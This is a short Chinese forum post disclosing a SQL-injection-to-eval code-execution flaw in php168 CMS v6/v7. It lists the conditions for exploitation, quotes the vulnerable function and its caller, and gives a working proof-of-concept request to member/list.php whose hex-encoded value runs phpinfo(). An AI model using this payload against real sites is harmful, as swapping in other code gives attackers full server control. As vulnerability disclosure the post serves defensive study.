php168 v6/v7鸡肋Getshell安全问题
<p> 刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋，需要条件：</p><p> 1.网站配置为：文章生成真静态</p>
<p> 2.允许注册会员</p>
<p> 给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。</p>
<p> member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23</p>
<p> 0x01 漏洞在make_more_article_html这个函数：</p>
<p> function make_more_article_html($comebackurl='/',$type='',$aidDB=''){</p>
<p> global $db,$pre,$webdb,$webdb,$showHtml_Type;</p>
<p> if($webdb!=1||$aidDB=='') // $webdb 真静态</p>
<p> { return ;}</p>
<p> ...</p>
<p> $query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");</p>
<p> while($rs = $db->fetch_array($query)){</p>
<p> ...</p>
<p> $filename_b=$rs;</p>
<p> ...</p>
<p> eval("\$showurl=\"$filename_b\";");</p>
<p> ...</p>
<p> 0x02 在 \member\list.php中调用了该漏洞函数：</p>
<p> if($step==2){</p>
<p> ...</p>
<p> if($Type=='delete'){</p>
<p> make_more_article_html("$FROMURL","del_0",$aidDB);</p>
<p> <strong>by： </strong>k4shifz</p>
頁:
[1]